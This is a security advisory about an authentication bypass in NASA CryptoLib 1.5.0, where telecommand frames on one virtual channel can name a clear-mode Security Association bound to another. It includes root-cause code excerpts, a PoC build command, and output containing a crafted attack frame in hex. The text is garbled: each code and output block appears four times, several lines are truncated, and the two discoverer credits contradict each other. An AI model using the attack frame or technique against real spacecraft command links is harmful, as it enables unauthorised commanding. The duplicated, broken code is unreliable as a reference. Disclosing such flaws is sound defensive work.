NASA CryptoLib 1.5.0 - TC receive path accepts Security Associations from the wrong GVCID

8,7

High

Discovered by

Juan Felipe Osorio Z

Offensive Team, Fluid Attacks

Summary

Full name

NASA CryptoLib 1.5.0 - TC receive path accepts Security Associations from the wrong GVCID

Code name

State

Public

Release date

Affected product

CryptoLib

Vendor

NASA

Affected version(s)

1.5.0

Vulnerability name

Authentication mechanism absence or evasion

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.7

Exploit available

Yes

Description

NASA CryptoLib 1.5.0 contains an authentication downgrade vulnerability in the Telecommand (TC) receive path. The receiver selects the Security Association used for SDLS processing solely from the SPI field inside the incoming frame, but it does not verify that the selected SA is authorized for the frame's GVCID.

An unauthenticated attacker who can inject TC frames can send a frame on one configured VCID while naming the SPI of an operational clear-mode SA bound to another VCID. CryptoLib accepts the mismatched SA and processes the frame according to that SA's service type. With the default in-memory SADB, SPI 1 is operational clear mode, so the attacker-controlled payload is delivered without data-origin authentication.

Vulnerability

Root Cause

  1. Transmit-side SA selection is channel-bound

    During TC apply-security, CryptoLib obtains managed parameters from the outbound frame's GVCID and retrieves the operational SA for that GVCID:

    status = sa_if->sa_get_operational_sa_from_gvcid(temp_tc_header.tfvn, temp_tc_header.scid, temp_tc_header.vcid,
                                                     *map_id, sa_ptr
    
    
    status = sa_if->sa_get_operational_sa_from_gvcid(temp_tc_header.tfvn, temp_tc_header.scid, temp_tc_header.vcid,
                                                     *map_id, sa_ptr
    
    
    status = sa_if->sa_get_operational_sa_from_gvcid(temp_tc_header.tfvn, temp_tc_header.scid, temp_tc_header.vcid,
                                                     *map_id, sa_ptr
    
    
    status = sa_if->sa_get_operational_sa_from_gvcid(temp_tc_header.tfvn, temp_tc_header.scid, temp_tc_header.vcid,
                                                     *map_id, sa_ptr
    
    

    The in-memory implementation of sa_get_operational_sa_from_gvcid() compares tfvn, scid, vcid, operational state, and optionally MAP ID before returning an SA.


  2. Receive-side SA selection trusts attacker-controlled SPI

    During TC process-security, CryptoLib parses the incoming primary header, looks up managed parameters for the received GVCID, then parses the SPI:

    tc_sdls_processed_frame->tc_sec_header.spi = ((uint8_t)ingest[byte_idx] << 8) | (uint8_t)ingest[byte_idx + 1
    tc_sdls_processed_frame->tc_sec_header.spi = ((uint8_t)ingest[byte_idx] << 8) | (uint8_t)ingest[byte_idx + 1
    tc_sdls_processed_frame->tc_sec_header.spi = ((uint8_t)ingest[byte_idx] << 8) | (uint8_t)ingest[byte_idx + 1
    tc_sdls_processed_frame->tc_sec_header.spi = ((uint8_t)ingest[byte_idx] << 8) | (uint8_t)ingest[byte_idx + 1

    The sanity validation then retrieves the SA by SPI:

    status = sa_if->sa_get_from_spi(tc_sdls_processed_frame->tc_sec_header.spi, sa_ptr);
    status = crypto_tc_validate_sa(*sa_ptr
    
    
    status = sa_if->sa_get_from_spi(tc_sdls_processed_frame->tc_sec_header.spi, sa_ptr);
    status = crypto_tc_validate_sa(*sa_ptr
    
    
    status = sa_if->sa_get_from_spi(tc_sdls_processed_frame->tc_sec_header.spi, sa_ptr);
    status = crypto_tc_validate_sa(*sa_ptr
    
    
    status = sa_if->sa_get_from_spi(tc_sdls_processed_frame->tc_sec_header.spi, sa_ptr);
    status = crypto_tc_validate_sa(*sa_ptr
    
    

    The SPI field is part of the attacker-supplied frame. At this point the frame's GVCID is known, but it is not compared with the selected SA's gvcid_blk.


  3. SA validation omits GVCID binding

    crypto_tc_validate_sa() checks that the selected SA is the expected table entry and that it is operational, but it does not validate channel binding:

    if (validate_sa_index(sa) != 0) {
        return CRYPTO_LIB_ERR_SPI_INDEX_MISMATCH;
    }
    if (sa->sa_state != SA_OPERATIONAL && crypto_config_tc.ignore_sa_state == TC_IGNORE_SA_STATE_FALSE) {
        return CRYPTO_LIB_ERR_SA_NOT_OPERATIONAL
    
    
    if (validate_sa_index(sa) != 0) {
        return CRYPTO_LIB_ERR_SPI_INDEX_MISMATCH;
    }
    if (sa->sa_state != SA_OPERATIONAL && crypto_config_tc.ignore_sa_state == TC_IGNORE_SA_STATE_FALSE) {
        return CRYPTO_LIB_ERR_SA_NOT_OPERATIONAL
    
    
    if (validate_sa_index(sa) != 0) {
        return CRYPTO_LIB_ERR_SPI_INDEX_MISMATCH;
    }
    if (sa->sa_state != SA_OPERATIONAL && crypto_config_tc.ignore_sa_state == TC_IGNORE_SA_STATE_FALSE) {
        return CRYPTO_LIB_ERR_SA_NOT_OPERATIONAL
    
    
    if (validate_sa_index(sa) != 0) {
        return CRYPTO_LIB_ERR_SPI_INDEX_MISMATCH;
    }
    if (sa->sa_state != SA_OPERATIONAL && crypto_config_tc.ignore_sa_state == TC_IGNORE_SA_STATE_FALSE) {
        return CRYPTO_LIB_ERR_SA_NOT_OPERATIONAL
    
    

    There is no check equivalent to:

    sa->gvcid_blk.tfvn == tc_header.tfvn
    sa->gvcid_blk.scid == tc_header.scid
    sa->gvcid_blk.vcid == tc_header.vcid
    sa->gvcid_blk.tfvn == tc_header.tfvn
    sa->gvcid_blk.scid == tc_header.scid
    sa->gvcid_blk.vcid == tc_header.vcid
    sa->gvcid_blk.tfvn == tc_header.tfvn
    sa->gvcid_blk.scid == tc_header.scid
    sa->gvcid_blk.vcid == tc_header.vcid
    sa->gvcid_blk.tfvn == tc_header.tfvn
    sa->gvcid_blk.scid == tc_header.scid
    sa->gvcid_blk.vcid == tc_header.vcid


  4. Default SPI 1 is operational clear mode

    The shipped in-memory SA table sets SPI 1 to operational and clear mode:

    sa[1].spi             = 1;
    sa[1].sa_state        = SA_OPERATIONAL;
    sa[1].est             = 0;
    sa[1].ast             = 0;
    sa[1].gvcid_blk.vcid  = 0
    
    
    sa[1].spi             = 1;
    sa[1].sa_state        = SA_OPERATIONAL;
    sa[1].est             = 0;
    sa[1].ast             = 0;
    sa[1].gvcid_blk.vcid  = 0
    
    
    sa[1].spi             = 1;
    sa[1].sa_state        = SA_OPERATIONAL;
    sa[1].est             = 0;
    sa[1].ast             = 0;
    sa[1].gvcid_blk.vcid  = 0
    
    
    sa[1].spi             = 1;
    sa[1].sa_state        = SA_OPERATIONAL;
    sa[1].est             = 0;
    sa[1].ast             = 0;
    sa[1].gvcid_blk.vcid  = 0
    
    

    Since est=0 and ast=0 map to SA_PLAINTEXT, the receiver copies the incoming payload into the processed TC PDU without cryptographic validation.

Impact

An attacker who can inject TC frames into a system using CryptoLib can cause the receiver to process a frame under an SA that is not authorized for the frame's channel.

In the demonstrated configuration, the impact is complete bypass of SDLS data-origin authentication for the targeted TC frame:

  • The frame is received on VCID 1.

  • The frame names SPI 1, which is bound to VCID 0.

  • SPI 1 is operational clear mode.

  • CryptoLib returns CRYPTO_LIB_SUCCESS.

  • The attacker-controlled cleartext PDU is delivered to the caller.

Potential impact depends on how the integrating system routes processed TC PDUs. For command-bearing channels, this can allow unauthorized command delivery, integrity bypass, and mission-control workflow compromise. The impact is reduced if deployments remove all clear-mode or weaker operational SAs, enforce channel/SPI binding before calling CryptoLib, or block attackers from injecting frames into the TC receive path.

PoC

Preconditions

  • NASA CryptoLib 1.5.0 / local commit d1efa20.

  • Build with internal key, internal SA, internal monitoring/control, and Libgcrypt.

  • TC managed parameters include both the SA's bound VCID and the attack target VCID.

  • A clear-mode or weaker operational SA exists for a different GVCID. The default in-memory SADB provides SPI 1 for VCID 0.

  • The attacker can deliver a crafted TC transfer frame to Crypto_TC_ProcessSecurity().

Step 1 - Build or compile CryptoLib

The original project build uses CMake. In this review environment, cmake was unavailable, so the PoC was compiled directly:

mkdir -p build-poc
cc -g -O0 -Wall -Wextra -Wno-error -Wno-unused-parameter -Wno-self-assign \
  -Wno-sign-compare -Wno-unused-variable -DMC_LOG_PATH='"build-poc/mc.log"' \
  -I CryptoLib/include \
  -I/opt/homebrew/opt/libgcrypt/include \
  -I/opt/homebrew/opt/libgpg-error/include \
  CryptoLib/src/core/*.c \
  CryptoLib/src/crypto/libgcrypt/cryptography_interface_libgcrypt.template.c \
  CryptoLib/src/crypto/custom_stub/cryptography_interface_custom_stub.template.c \
  CryptoLib/src/crypto/kmc_stub/cryptography_interface_kmc.stub.c \
  CryptoLib/src/crypto/wolfssl_stub/cryptography_interface_wolfssl.stub.c \
  CryptoLib/src/key/internal/key_interface_internal.template.c \
  CryptoLib/src/key/custom_stub/key_interface_custom_stub.template.c \
  CryptoLib/src/key/kmc_stub/key_interface_kmc_stub.template.c \
  CryptoLib/src/mc/internal/mc_interface_internal.template.c \
  CryptoLib/src/mc/custom_stub/mc_interface_custom_stub.template.c \
  CryptoLib/src/mc/disabled_stub/mc_interface_disabled_stub.template.c \
  CryptoLib/src/sa/internal/sa_interface_inmemory.template.c \
  CryptoLib/src/sa/custom_stub/sa_interface_custom.stub.c \
  CryptoLib/src/sa/mariadb_stub/sa_interface_mariadb.stub.c \
  poc_gvcid_spi_bypass.c \
  -L/opt/homebrew/opt/libgcrypt/lib \
  -L/opt/homebrew/opt/libgpg-error/lib \
  -lgcrypt -lgpg-error \
  -o

mkdir -p build-poc
cc -g -O0 -Wall -Wextra -Wno-error -Wno-unused-parameter -Wno-self-assign \
  -Wno-sign-compare -Wno-unused-variable -DMC_LOG_PATH='"build-poc/mc.log"' \
  -I CryptoLib/include \
  -I/opt/homebrew/opt/libgcrypt/include \
  -I/opt/homebrew/opt/libgpg-error/include \
  CryptoLib/src/core/*.c \
  CryptoLib/src/crypto/libgcrypt/cryptography_interface_libgcrypt.template.c \
  CryptoLib/src/crypto/custom_stub/cryptography_interface_custom_stub.template.c \
  CryptoLib/src/crypto/kmc_stub/cryptography_interface_kmc.stub.c \
  CryptoLib/src/crypto/wolfssl_stub/cryptography_interface_wolfssl.stub.c \
  CryptoLib/src/key/internal/key_interface_internal.template.c \
  CryptoLib/src/key/custom_stub/key_interface_custom_stub.template.c \
  CryptoLib/src/key/kmc_stub/key_interface_kmc_stub.template.c \
  CryptoLib/src/mc/internal/mc_interface_internal.template.c \
  CryptoLib/src/mc/custom_stub/mc_interface_custom_stub.template.c \
  CryptoLib/src/mc/disabled_stub/mc_interface_disabled_stub.template.c \
  CryptoLib/src/sa/internal/sa_interface_inmemory.template.c \
  CryptoLib/src/sa/custom_stub/sa_interface_custom.stub.c \
  CryptoLib/src/sa/mariadb_stub/sa_interface_mariadb.stub.c \
  poc_gvcid_spi_bypass.c \
  -L/opt/homebrew/opt/libgcrypt/lib \
  -L/opt/homebrew/opt/libgpg-error/lib \
  -lgcrypt -lgpg-error \
  -o

mkdir -p build-poc
cc -g -O0 -Wall -Wextra -Wno-error -Wno-unused-parameter -Wno-self-assign \
  -Wno-sign-compare -Wno-unused-variable -DMC_LOG_PATH='"build-poc/mc.log"' \
  -I CryptoLib/include \
  -I/opt/homebrew/opt/libgcrypt/include \
  -I/opt/homebrew/opt/libgpg-error/include \
  CryptoLib/src/core/*.c \
  CryptoLib/src/crypto/libgcrypt/cryptography_interface_libgcrypt.template.c \
  CryptoLib/src/crypto/custom_stub/cryptography_interface_custom_stub.template.c \
  CryptoLib/src/crypto/kmc_stub/cryptography_interface_kmc.stub.c \
  CryptoLib/src/crypto/wolfssl_stub/cryptography_interface_wolfssl.stub.c \
  CryptoLib/src/key/internal/key_interface_internal.template.c \
  CryptoLib/src/key/custom_stub/key_interface_custom_stub.template.c \
  CryptoLib/src/key/kmc_stub/key_interface_kmc_stub.template.c \
  CryptoLib/src/mc/internal/mc_interface_internal.template.c \
  CryptoLib/src/mc/custom_stub/mc_interface_custom_stub.template.c \
  CryptoLib/src/mc/disabled_stub/mc_interface_disabled_stub.template.c \
  CryptoLib/src/sa/internal/sa_interface_inmemory.template.c \
  CryptoLib/src/sa/custom_stub/sa_interface_custom.stub.c \
  CryptoLib/src/sa/mariadb_stub/sa_interface_mariadb.stub.c \
  poc_gvcid_spi_bypass.c \
  -L/opt/homebrew/opt/libgcrypt/lib \
  -L/opt/homebrew/opt/libgpg-error/lib \
  -lgcrypt -lgpg-error \
  -o

mkdir -p build-poc
cc -g -O0 -Wall -Wextra -Wno-error -Wno-unused-parameter -Wno-self-assign \
  -Wno-sign-compare -Wno-unused-variable -DMC_LOG_PATH='"build-poc/mc.log"' \
  -I CryptoLib/include \
  -I/opt/homebrew/opt/libgcrypt/include \
  -I/opt/homebrew/opt/libgpg-error/include \
  CryptoLib/src/core/*.c \
  CryptoLib/src/crypto/libgcrypt/cryptography_interface_libgcrypt.template.c \
  CryptoLib/src/crypto/custom_stub/cryptography_interface_custom_stub.template.c \
  CryptoLib/src/crypto/kmc_stub/cryptography_interface_kmc.stub.c \
  CryptoLib/src/crypto/wolfssl_stub/cryptography_interface_wolfssl.stub.c \
  CryptoLib/src/key/internal/key_interface_internal.template.c \
  CryptoLib/src/key/custom_stub/key_interface_custom_stub.template.c \
  CryptoLib/src/key/kmc_stub/key_interface_kmc_stub.template.c \
  CryptoLib/src/mc/internal/mc_interface_internal.template.c \
  CryptoLib/src/mc/custom_stub/mc_interface_custom_stub.template.c \
  CryptoLib/src/mc/disabled_stub/mc_interface_disabled_stub.template.c \
  CryptoLib/src/sa/internal/sa_interface_inmemory.template.c \
  CryptoLib/src/sa/custom_stub/sa_interface_custom.stub.c \
  CryptoLib/src/sa/mariadb_stub/sa_interface_mariadb.stub.c \
  poc_gvcid_spi_bypass.c \
  -L/opt/homebrew/opt/libgcrypt/lib \
  -L/opt/homebrew/opt/libgpg-error/lib \
  -lgcrypt -lgpg-error \
  -o

Step 2 - Run the PoC

Expected vulnerable result:

[sa] SPI=1 state=3 est=0 ast=0 bound_vcid=0 shivf_len=12
[atk] frame=2003041a00000001000000000000000000000000deadbeef50574e
[recv] Crypto_TC_ProcessSecurity=0
[recv] frame_vcid=1 selected_spi=1 sa1_bound_vcid=0 pdu_len=7 pdu=deadbeef50574e
[sa] SPI=1 state=3 est=0 ast=0 bound_vcid=0 shivf_len=12
[atk] frame=2003041a00000001000000000000000000000000deadbeef50574e
[recv] Crypto_TC_ProcessSecurity=0
[recv] frame_vcid=1 selected_spi=1 sa1_bound_vcid=0 pdu_len=7 pdu=deadbeef50574e
[sa] SPI=1 state=3 est=0 ast=0 bound_vcid=0 shivf_len=12
[atk] frame=2003041a00000001000000000000000000000000deadbeef50574e
[recv] Crypto_TC_ProcessSecurity=0
[recv] frame_vcid=1 selected_spi=1 sa1_bound_vcid=0 pdu_len=7 pdu=deadbeef50574e
[sa] SPI=1 state=3 est=0 ast=0 bound_vcid=0 shivf_len=12
[atk] frame=2003041a00000001000000000000000000000000deadbeef50574e
[recv] Crypto_TC_ProcessSecurity=0
[recv] frame_vcid=1 selected_spi=1 sa1_bound_vcid=0 pdu_len=7 pdu=deadbeef50574e

The frame uses VCID 1 in the primary header and SPI 1 in the security header. The selected SA is bound to VCID 0, but CryptoLib accepts it and delivers the payload.

Evidence of Exploitation

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-79954 to refer to this issue from now on.

Disclosure policy

System Information

  • NASA CryptoLib

  • Version: 1.5.0

  • Commit: d1efa20

  • Operating System: Linux, Windows, or macOS

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Romel Marín, an independent security researcher.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.